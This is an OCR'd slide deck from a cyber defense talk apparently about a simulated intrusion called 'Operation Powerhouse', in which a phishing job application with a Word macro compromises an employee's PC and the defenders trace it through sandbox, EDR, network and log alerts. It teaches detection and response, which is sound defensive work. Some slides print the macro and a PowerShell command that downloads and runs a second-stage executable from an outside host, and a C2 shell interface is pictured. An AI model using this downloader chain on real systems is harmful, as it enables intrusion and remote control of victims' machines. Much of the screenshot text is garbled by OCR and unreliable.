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2018-03-05 05:40:56,286 [cuckoo.core.plugins] DEBUG:
2018-03-05 05:40:56,287 [cuckoo.core.plugins] DEBUG:
2018-03-05 05:40:56,287 [cuckoo.core.plugins] DEBUG:
2018-03-05 05:40:56,288 [cuckoo.core.plugins] DEBUG:
2018-03-05 05:40:56,288 [cuckoo.core.plugins] DEBUG:
2018-03-05 05:40:56,289 [cuckoo.core.plugins] DEBUG:
2018-03-05 05:40:56,289 [cuckoo.core.plugins] DEBUG:
2018-03-05 05:40:56,290 [cuckoo.core.plugins] DEBUG:
2018-03-05 05:40:56,291 [cuckoo.core.plugins] DEBUG:
2018-03-05 05:40:56,291 [cuckoo.core.plugins] DEBUG:
2018-03-05 05:40:56,292 [cuckoo.core.plugins] DEBUG:
2018-03-05 05:40:56,292 [cuckoo.core.plugins] DEBUG:
2018-03-05 05:40:56,293 [cuckoo.core.plugins] DEBUG:
2018-03-05 05:40:56,293 [cuckoo.core.plugins] DEBUG:
2018-03-05 05:40:56,294 [cuckoo.core.plugins] DEBUG:
2018-03-05 05:40:56,294 [cuckoo.core.plugins] DEBUG:
2018-03-05 05:40:56,295 [cuckoo.core.plugins] DEBUG:

2018-03-05 05:40:56,296 [cuckoo.core:
2018-03-05 05:40:56,297 [cuckoo#Core.plugins] DEBUG
|DEBUG:rDUt:HatinE of the file: 9.0

ugins] DEBUG:

Analysis matched signature:
Analysis matched signature:
Analysis matched signature:
Analysis matched signature:
Analysis matched signature:
Analysis matched signature:
Analysis matched signature:
Analysis matched signature:
Analysis matched signature:
Analysis matched signature:
Analysis matched signature:
Analysis matched signature:
Analysis matched signature:
Analysis matched signature:
Analysis matched signature:
Analysis matched signature:
Analysis matched signature:
JAnalysis matched signature:
JAnalysis matched signature:
Analysis matched signature:

{Analysis matched signature:

dumped_bufter
dumped_buffer2
network_http
allocates rwx

antivim_gqueries_computername

creates shortcut

suspicious _process
generates_crypto key
deletes self

has_wmi

stealth_window
antivm_memory_available
antivm_network_adapters
network _document_file
powershell _download
powershell _request
process _martian
memdump_urls
suspicious_powershell
suspicious_write_exe
wimi_antivm
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OEEIE

Home

o G
MNew  New
E-mail Items -

Send / Receive Folder View

X G QG s

Delete Reply Reply Forward B prgre =
All @

=
4 lgnore
#= Clean Up =

&Junk “

Mew Delete

Respond

Inbox - leonie@evwv.at - Microsoft Qutlook - O s

Lﬁi Move to: 7
éﬁ Team E-mail
‘iz Create New

Quick Steps

a To Manager
Q Reply & Delete

Find a Contact -

@ 27
Move Rules | Unread/ Follow

2 = Read Up~
Tags

(Gl Address Book
“F Filter E-mail =
Find

Send/Receive
All Folders

[F] Move Send/Receive

4 Favorites E

Search Inbox [Ctrl=E)

Al

@ Inbox - ©

[ sent ltems Arrange By: Date

Mewest on top e

@ Deleted [tems
4 Today

@ Inbox - 1=

B Cuckoo Sandbox

. ‘- Malicious content detected!
4 (Qutlook Data File i

16:25

@ Inbox

@ Drafts

@ Sent [tems
& Deleted ltems

[ outbox
[F) RSS Feeds
Ed Search Folders

4 |eonie@evwy.at

@ Inbox
& Trash

[i@ Junk E-mail

Ed Search Folders

@ Sent =
|B Mail
Calendar
Contacts
o] Tasks

bl C3 (A -

Malicious content detected!

Cuckoo Sandbox <sandbox@evwv.at>
Sent: Mone
To Protected Inbox

An e-mail was not delivered to your inbox because malicious content has
been detected!
Please contact your Administrator!

3
*sjuaw juiodde Bunw oddn on % ~

syse] g epo) .1

Cuckoo Sandbox

Filter applied

€3 pisconnected | O B2 100% C=U— o
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Operation Powerhouse

;E Project ;E Report " Tools 2Options (3 Tasklist [ Plugins g’ﬁ\.bout

B@ N? Proet Search engines
== N_eiwork o
. ~mj Clierts (0) oogle
i =-[E Servers {0) Bing
e ] Exalead

- i Unlocated Servers

= Doma-ins
- 4 Roles
- Vulnerabilties I . L Search gk Search
Eli Metadats | site site com filetype pdf <, Search | L o R
& | Documents (1/1) id Type URL Download Dowrload Date Size Analized
i Metadata Summary b0 | pdf | C:\Users\mr niceguy’\Deskiop'unior Marketing Manage. | o s s KB [ o |
= Download
m  Download All
Delete
Delete All

g | Extract Metadata I
B Extract All Metada
=,

Analyze Metadata
Add file
< 1 v
[[g Addfolder
Time Source Severty  Message e Add URLs from file
6:41:39 ... MetadastaSearch  low Document metadata extracted: C:h\Users'\mr.niceguyDesktoptJunior Marketing Managerin pdf & Link ¥
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€ FOCA (final version) 3. [E=SFETC)
aE Project aE Report 'Tools - 3 Options (3 TaskList Plugins gjﬁkbout
B@ Mo project
e Network Attribute Value
'Eﬂ Clients (0) File Information
-[ 3 Servers () " ; i
. L3 Unlocated Servers URL ChUsers‘mrniceguy*DesktopJunior Marketing Managerin.pdf
_____ i Dorn;m Local path C:Users‘mr niceguyDesktop Junior Marketing Managerin.pdf
{__-i Roles Download Yes
@ Yulnerabilities Analized Yes
=+ Metadata Download date 3/5/2018 6:41:14 PM
11", Documents (1/1) Size 669.46 KB
&) pdf (1) J
=Ryl .Junior Marketing Managerln.p SErs
s Users I Lsemame leonie |
Dates
Creation date 3/5/2018 6:38:24 PM
G- Metadata Summary Modified date /52018 63824 PM
Other Metadata
Application Microsoft Office XP
Software
Microsoft Office XP
1 i | »

6:41:395 ... MetadataSearch lowy
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Time Source Severity Message
Document metadata extracted: C:\Users‘mr niceguyDesktop*Junior Marketing Managerin.pdf
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[Allgemein) e [Deklarationen)

W ToE Sub HideImages ()

G Home | Insert  Pagelayout  Re ShowBlurView [(msoFalse)

Ej ’é‘ Calibri 12 YA A A End Sub

Paste_; B@gva&x,x’ abj

e Subk DownloadindBEunUpdate ()

Clipboard & Font

PP

Dim cmd

compare = "leonie®
If StrConp (Environ ("username™), compare, 1) = 0 Then

cmid = "Swo = New-0Object Net.WebClient;Swo.UseDefaultCredentials = Strues;Swo.Proxy.Credentials =
Shell "powershell.exe -Command """ & cmd & """", vhHide
End If

End Sub

@ Suk RucoCpen()

DownloadindBRunlUpdate
MzagBox "Die Optimierung ihre Systems fuer die Hutzung moderner Inhaltskompressionstechniken ist

End Sub

Page:10f2 | Words:55 | < English(us) | 23 |
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2018-03-05 05:46:26,738 [cuckoo.core.plugins] DEBUE:IAHHIEE matched signature: allocates rw:r.l
DEBUG:root:Rating of the file: 0.4] =
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039 |-
qﬁ? Home

Send / Receive

Folder View

Inbox - Outlook Data File - Microsoft Outlook -

[ Qutlook Data File

4 |eonie@evwy.at

E Inbox
E Sent
@ Trash

[ g Junk E-mail
E}.‘i Search Folders

L:Q Manuel Mairhofer
EBewerbung als Marketing Manager

10:15
a

Calendar
Contacts
o] Tasks

bl 03 -

/j- ' [@ 3 lgnore x i L = EJ - } B2, Meeting 25 Moveto: 7 i To Manager Lo [ | Find a Contact ~
%= Clean Up ~ & Team E-mail & Done S R (o [G} Address Book

New Mew Delete Reply Reply Forward B - Move Rules Unread/ Categorize Follow
E-mail ftems = | & Junk = all o Ll ( Reply & Delete i Create New - . T - Up- | 7 Filter E-mail *

MNew Delete Respond Quick Steps [F] Move Tags Find
4 Favorites < < h Inbax (CErl=E) P|

earch Inbox [Ctrl+ H
[} Inbox - Outiook Data File Bewerbung als Marketing Manager
) - |a . .

(=4 sent items Arrange By: Date Newest on top Manuel Mairhofer <manuel.mairhofer@outlook.com=

@ Deleted Items Sent: Do, 08.03.2018 10:13

B e e 4 Today To leonie.berger @evwv.at

-] Message 8] Lebenslauf_Mairhofer_evasion.doc (485 KB}

Sehr geehrte Frau Berger,

ich habe mich heute auf Ihrer Webseite Ober das Unternehmen informiert und finde thre
Tatigkeitsfelder duBerst interessant. Besonders die Tatsache, dass die
Kundenzufriedenheit sowie die Dienstleistungsqualitat bei lhnen an erster Stelle steht, hat
mich sehr fasziniert. Ich habe bereits Erfahrungen in internationalen Unternehmen mit Sitz
in Osterreich sammeln kéinnen und finde das Klima in diesen Betrieben sehr angenehm.

Aus diesem Grund wirde ich mich bei lhnen gerne als Junior Marketing Manager
bewerben. Meinen Lebenslauf habe ich dem Anhang beigefigt.

Meine Kontaktdaten:
E-Mail: manuel.mairhofer@outlook.com
Mobil: 0677 621 630 55

Ich freue mich auf thre Rickmeldung und wiirde mich sehr gerne persénlich beilhnen
varstellen.

Beste Grife,
Manuel Mairhofer

Manuel Mairhofer

sjuawjuodde Bunwordn opy % ~

syse] g Aepoj .1

Items: 1 |

/1 Send/Receive error | [0 EZ 100% @—U—@ i
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L & PS Shell2 // C&C Interface

Status: Online - Last action 1 second(s) ago User: DESKTOP-PSEMBAI\leonie | Machine: DESKTOP-PSEMBAI | 0S: Microsoft Windows 1@ Enterprise

C:\Users\leonie\Desktop> whoami
desktop-pSembai\leonie

C:\Users\leonie\Desktop> Take-ScreenShot-And-Upload
C:\Users\leonie\AppData\Local\Temp/s-1520251054.png
Screenshot su(cessfully taken ana uploade

5 & AABM AaBbC AaBb( Awsicet
; By v.A Buum
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Sertem ot Gorret aoxh M s G
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Download File il Upload File Ml Show Uploads Il Purge Uploads JVSCEREE Datei auswahlen LGUEETELEVEN

25.02.2019 | FH Campus Wien www.kapsch.net | 51



kapsch -~

challenging limits

Fazit
Prevention Falls







Defensible Network kapsch >
NSM
EDR Cyber Defense Technologie Stack
Log

Vuln Scanning

=g E g

E =2

Mailserver Sandbox

25.02.2019 | FH Campus Wien www.kapsch.net | 55



Defensible Network kapsch >
NSM
EDR Cyber Defense Technologie Stack
Log

Vuln Scanning

=g E g

Threat Intel

E =2

Mailserver Sandbox

Ticketing

25.02.2019 | Business Breakfast 2018 www.kapsch.net | 56



Defensible Network kapsch >
NSM
EDR Cyber Defense Technologie Stack
Log

Vuln Scanning

Hunting %
E = B
Threat Intel
E
Mailserver Sandbox
Ticketing

25.02.2019 | FH Campus Wien www.kapsch.net | 57



Defensible Network kapsch >
NSM
EDR Cyber Defense Technologie Stack
Log

Vuln Scanning

Hunting %
E = B
Threat Intel
E
Mailserver Sandbox
Ticketing

25.02.2019 | FH Campus Wien www.kapsch.net | 58



kapsch -~

challenging limits

Operation Powerhouse
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2. EDR — Endpoint

3. LOG - Logging




NSM Alert Overview
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[BRO] Intel-ADDR - 62.218.147.233

[BRO] SSL-Invalid Server Cert

ET POLICY Office Document Containing AutoOpen Macro Via smtp
SURICATA HTTP unable to match response to request

ET POLICY Http Client Body contains pass= in cleartext

ET POLICY DNS Update From External net

ET POLICY GNU/Linux APT User-Agent Outbound likely related to package
management

[OSSEC] User login failed.

SURICATA zero length padN option
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I [BRO] Intel-ADDR - 62.218.147.233

[BRO] SSL-Invalid Server Cert

ET POLIC\vI Office Document Containing AutoOpen Macro Via smtp

SURICATA HTTP unable to match response to request

ET POLICY Http Client Body contains pass= in cleartext

ET POLICY DNS Update From External net

ET POLICY GNU/Linux APT User-Agent Outbound likely related to package
management

[OSSEC] User login failed.

SURICATA zero length padN option
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10.10.9.3

10.10.9.3

10.10.9.3

50671

50662

50655

50647

50639

50630

50620

62.218.147.233

62.218.147.233

62.218.147.233

62.218.147.233

62.218.147.233

62.218.147.233

62.218.147.233

kapsch -

443

443

443

443

443

443

443

challenging limits

[BRO] Intel-ADDR -
62.218.147.233

[BRO] Intel-ADDR -
62.218.147.233

[BRO] Intel-ADDR -
62.218.147.233

[BRO] Intel-ADDR -
62.218.147.233

[BRO] Intel-ADDR -
62.218.147.233

[BRO] Intel-ADDR -
62.218.147.233

[BRO] Intel-ADDR -
62.218.147.233

www.kapsch.net |




NSM Alert SSL Connection kapsch -

challenging limits

SR o Z...KA.~b.ct9~ R..0..M.....b...........9.3.5./.

SRC: ...8.2.

SRC: ....evneiueenen. |- Db lOGIN-poTtal.at.

R s i - IR .

B8 B il | Buollen?. 2. 788

DST: evoeerreereseeneseeeenens Horreriererennn, 000 '6.+..)...82..0

DST: ..*.H..

DST: .....0J1.0...U....US1.0...U.

PST: .

DST: Let's Encrypt1#0!..U...|Let's Encrypt Authority [X30.. et |

25.02.2019







- |P: 62.218.147.233 -
Intel Alert — Beacon?




- 1P: 62.218.147.233 -
Intel Alert — Beacon?

- Domain: bbtt.login-portal.at -
Unknown — Free SSL CERT



- 1P: 62.218.147.233 -
Intel Alert — Beacon?

- Domain: bbtt.login-portal.at -
Unknown — Free SSL CERT

Query Intel



ﬁ

Intel Check — login-portal.at kapsch >

challenging limits

login-portal[.]at

e OTX:Pulses="0" J VT:Score="0 detected_url(s)" J| PT:Malware="False" § Umbrella:Sec-Category="[]"

PT:OSINT="False" j§ Umbrella:Content-Category="[]" § PhishTank:In_Database="False"” §| Domain:Updated="2018-02-26"

Umbrella:Sec-Rank="0.0" | CIRCL:PassiveDNS="0record” | Autofocus:Samples="0" § Umbrella:First-Seen="2018-02-26"
Shodan:IPs="0" | Shodan:Domains="0"

Shodan:ASNs="0" Shodan:I1SPs="0" MISP:Search="No events"

25.02.2019 | www.kapsch.net |



S S

Intel Check — 62.218.147.233 kapsch. 2

62[.]218[.]147[.]233

L ¥ APT Waldviertel

i+ d VT:Score="18 detected_url(s)" | PT:OSINT="False" ] Umbrella:Content-Category="[]" | Umbrella:Sec-Category="[]"

CIRCL:PassiveSSL="3 records" | MISP:Search="1 event(s)"

www.kapsch.net |

25.02.2019 |
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Intel Check — Known Domains kapsch >
Score Scan Date URL
T7/67 2018-02-23 20:10:08 hxxp://secure-login[.]at/secnight2017/hidden-tear[.]exe[.]txt
5/67 2018-02-08 20:08:31 hxxp://secure-login[.]at/
5/66 2017-12-1912:10:27 hxxps://secure-login[.]at/secnight2017/decrypt-log[.]php?info=,Pattern
2/66 2017-12-1912:10:27 hxxps://www[.]sslv3[.]at/secnight2017/msg[.]htm
8/64 2017-11-08 13:35:08 hxxp://sslv3|.]at/tools/ps_shell2_hxxps[.]Jex_[.]html
8/63 2017-10-26 03:19:16 hxxp://www[.]sslv3[.]at/cryptolocker/encrypt2[.]exe
2/64 2017-10-2520:13:16 hxxp://secure-login[.]at/secnight2017
3/64 2017-10-11 12:58:37 hxxps://secure-login[.]at/secnight2017/launcher[.]ps1[.]txt

25.02.2019 | www.kapsch.net |
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Intel Check — Shared Events kapsch -

challenging limits

EventIiD: 155441

Eventinfo: Operation Powerhouse

UUID: 5a9526d0-c544-40af-bc86-5527ac12306d

Tags: misp-galaxy:mitre-tool="PsExec"

Cluster: :PsExec

Related events:

Dridex of the day (2016-02-01) - botnet 123
APT1 - Mandiant - http://intelreport.mandiant.com/

25.02.2019 | www.kapsch.net |
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Intel Check — Shared Events kapsch -

challenging limits
Category Type Value

Artifacts dropped filename a.exe

External analysis link https://www.virustotal.com/#/url
/b2778d2b100d7ae768ffe64dab8a2f0ac68fb62eb63a86689939ecaded937
9ae/detection

Network activity  ip-dst 62.218.147.233

Network activity domain secure-login.at

Network activity domain sslv3.at

Other comment Threat Actor: APT Waldviertel

25.02.2019 | www.kapsch.net |

Targeting data target-org Power-Plants



- 1P: 62.218.147.233 -
Intel Alert — Beacon?

- Domain: bbtt.login-portal.at -
Unknown — Free SSL CERT



Intel Alert — APT Waldviertel

- Domain: bbtt.login-portal.at -
Unknown — Free SSL CERT



Intel Alert — APT Waldviertel

- Domain: bbtt.login-portal.at -
Completely Unknown — Fresh — Bad Hoster



Intel Alert — APT Waldviertel

- Domain: bbtt.login-portal.at -
Completely Unknown — Fresh — Bad Hoster

- a.exe -
Unknown — Unseen — No Hash



Intel Alert — APT Waldviertel

- Domain: bbtt.login-portal.at -
Completely Unknown — Fresh — Bad Hoster

- a.exe -
Unknown — Unseen — No Hash

Check Client



EDR Alert

'I

total hosts
with alerts

25.02.2019 |

ﬁ

kapsch -

challenging limits

o

All Exploits blocked on
0 hosts

Alerts detected on
0 high-value hosts

MAL

Exploits on Malware on
1 host 0 hosts

www.kapsch.net |



D

EDR Alert — Overview kapsch -

challenging limits
Disposition
FILTER BY: All v

SHOWING

2

of 2 Alerts SORTED BY:  Priority

Address 62.218.147.233 connected
Operation Powerhouse

Last alerted 30 seconds ago * First alerted 25 minutes
ago

Exploit attempt detected in WINWORD.EXE

Alerted 25 minutes ago

25.02.2019 | www.kapsch.net |



EDR Alert — Connection Overview

62.218.147.233

Alerted
ipv4NetworkEvent/timestamp
ipv4NetworkEvent/remotelP
ipv4NetworkEvent/remotePort
ipv4NetworkEvent/locallP
ipv4NetworkEvent/localPort
ipv4NetworkEvent/protocol
ipv4NetworkEvent/pid
ipv4NetworkEvent/process
ipv4NetworkEvent/processPath

ipv4NetworkEvent/username

25.02.2019 |

26 seconds ago

2018-02-28 13:15:297

62.218.147.233

443
10.10.9.3
50884
TCP
5608

Microsoft Word Updater.exe

S S

kapsch -

challenging limits

CA\Users\Leonie.SLOTH\AppData\Roaming\Microsoft\Windows\Start Men u‘iPrograms\Startup

SLOTH\leonie

www.kapsch.net |



S S

EDR Alert — Exploit Overview - Origin kapsch 2>

challenging limits

Initial Exploit Process

Exploit detection time 2018-02-28 12:46:497
Process path WINWORD.EXE
Process ID 6124

Exploit Documents
» (CA\Users\Leonie.SLOTH\AppData\Roaming\Microsoft\Templates\Normal.dotm

»  CA\Users\Leonie.SLOTH\AppData\Local\Microsoft\Windows\INetCachejContent.Outlook\BJRZONNO\lebenslaufl4.doc

25.02.2019 | www.kapsch.net |



j

EDR Alert — Exploit Overview — Process Tree kapsch -

challenging limits

WINWORD.EXE « 6124 XPLT

Descendants

powershell.exe « 2672

a.exe ¢ 323) XPLT

conhost.exe « 5740

csc.exe o 1/32

cvires.exe o 1868

Microsoft Word Updater.exe|e 5608

25.02.2019 | www.kapsch.net |




P ——————

EDR Alert — Powershell — 2nd Stage Download kapsch -~

challenging limits

powershell.exe « 2672 Started: 2018-02-28 12:48:33.8167

powershell.exe -Command "$wc = New-Object
Net.WebClient;$wc.UseDefaultCredentials =
$true;$we.Proxy.Credentials =
$wc.Credentials;$wc.DownlﬂachiLe(\"https://lbbtt.login-portaLat
/bbtt2018/lebenslauf.ex_.html\" \"$env:USERPROFILE

‘ \\a.exe\")|& \"$env:USERPROFILE\\a\""

25.02.2019 | www.kapsch.net |



D

EDR Alert — a.exe kapsch -

challenging limits

Registry Keys

From 2018-02-26 06:59:18.731Z to 2018-02-28 12:49:13.997Z

HKEY LOCAL _MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

Files
From 2018-02-26 08:10:25.3877Z to 2018-02-28 12:49:06.028Z

Path

dil

v

C\Users\Leonie.SLOTH\AppData\Roaming\Microsoft\Windows\Start Menu\Programs}pStartup\Microsoft Word Updater.exe

v

C\Users\Leonie.SLOTH\AppData\Local\Temp\-jdh14sL.dll
CA\Users\Leonie.SLOTH\AppData\Local\Microsoft\CLR_v2.0\Usagelog sia.exe.log ‘

v

v

C\Users\Leonie.SLOTH\AppData\Local\Temp\-jdh14sL.0.cs
»  (CA\Users\Leonie.SLOTH\AppData\Local\Temp\-jdh14sl.cmdline

25.02.2019 | www.kapsch.net |



ﬁ—
EDR Alert — Microsoft Word Updater.exe kapsch >

Processes
From 2018-02-17 10:46:46.2657 to 2018-02-28 13:03:00.3037

PID Path
4740 CA\Windows\system32\conhost.exe
4220 csc.exe
5428 csc.exe
5924 Ipconfig.exe
5720 systeminfo.exe
5124 tasklist.exe
25022016 | 5636 whoami.exe wkepschet |




Intel Alert — APT Waldviertel

- Domain: bbtt.login-portal.at -
Completely Unknown — Fresh — Bad Hoster

- a.exe -
Unknown — Unseen — No Hash



Intel Alert — APT Waldviertel

- Domain: bbtt.login-portal.at -
Completely Unknown — Fresh — Bad Hoster

2nd Stage Downloader - LEONIE



Intel Alert — APT Waldviertel
- Domain: bbtt.login-portal.at -
Completely Unknown — Fresh — Bad Hoster

2nd Stage Downloader - LEONIE

Persistent — Reverse Shell - LEONIE



Intel Alert — APT Waldviertel

Botnet Site — C2 Established

2nd Stage Downloader - LEONIE

Persistent — Reverse Shell - LEONIE



Intel Alert — APT Waldviertel

Botnet Site — C2 Established

2nd Stage Downloader - LEONIE

Persistent — Reverse Shell - LEONIE

Block Client / FW - Check Behavior



j

Splunk - Logging Active Directory Alerts kapsch >
Error_Code count Description
0xC0000064 AN RV user name does not exist
0xC0000234 1697 user is currently locked out

0xC0000071 1443 expired password



ﬁ

Splunk - Logging Internal Network Behavior kapsch =
SMB Sender

100
50 = LEONIE-PC
JOHN-PC
— slothDC
10:25 AM 10:30 AM 10:35 AM 10:40 AM 10:45 AM 10:50 AM 10:55 AM

50
= 10.10.10.4:445

= 10.10.10.5:445
25 = 10.10.10.6:445
= JOHN-P...al:445
— Produktion:445

S Robot:445
_— t:
10:20 AM 10:25 AM 10-30 AM 10:35 AM 10:40 AM 10:45 AM 10:50 AM 10:55 AM erverkobo
Tl e 1 - slothDC...cal:445
_time

25.02.2019 | www.kapsch.net | 93



ﬁ

Splunk - Logging Rev. Shell Indikator (Time) kaﬂ,f,,ﬂ,l,,.m,.tf

10.10.10.4

.

a 10.10.10.5
|
E - 115 = sum{duratior_lj
N 10.10.10.6 values(s...t_time)
I, o
10.10.9.3

www.kapsch.net | 94

25.02.2019 |
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Splunk - Logging Rev. Shell Indikator (Bytes) kapscl1. -

Bytes In and Out

I 96,076

10.10.10.4 3,900,556

I 83.886

10.10.10.5 3,660,958

B sum(bytes_out)

86,188
, " sum(bytes_in)
3,799,423

client_ip

10.10.10.6

1,054,961

10.10.9.3 4,217,094

1,000,000 2,000,000 3,000,000 4,000,000

o

www.kapsch.net | 95

25.02.2019 |



Intel Alert — APT Waldviertel

Botnet Site — C2 Established

2nd Stage Downloader - LEONIE

Persistent — Reverse Shell - LEONIE



Intel Alert — APT Waldviertel

Botnet Site — C2 Established

2nd Stage Downloader - LEONIE

Persistent — Reverse Shell - LEONIE

Failed Logins



Intel Alert — APT Waldviertel

Botnet Site — C2 Established

2nd Stage Downloader - LEONIE

Persistent — Reverse Shell - LEONIE

Failed Logins

SMB Spreading






{

Questions?

Timo Jobst
Head of Cyber Defense Center

Kapsch BusinessCom

Kapsch BusinessCom
Wienerbergstrasse 53

1120 Wien, Osterreich

Phone: +43 50 811 5791
E-Mail: timo.jobst@kapsch.net
www.kapsch.net

kapsch -

challenging limits

100



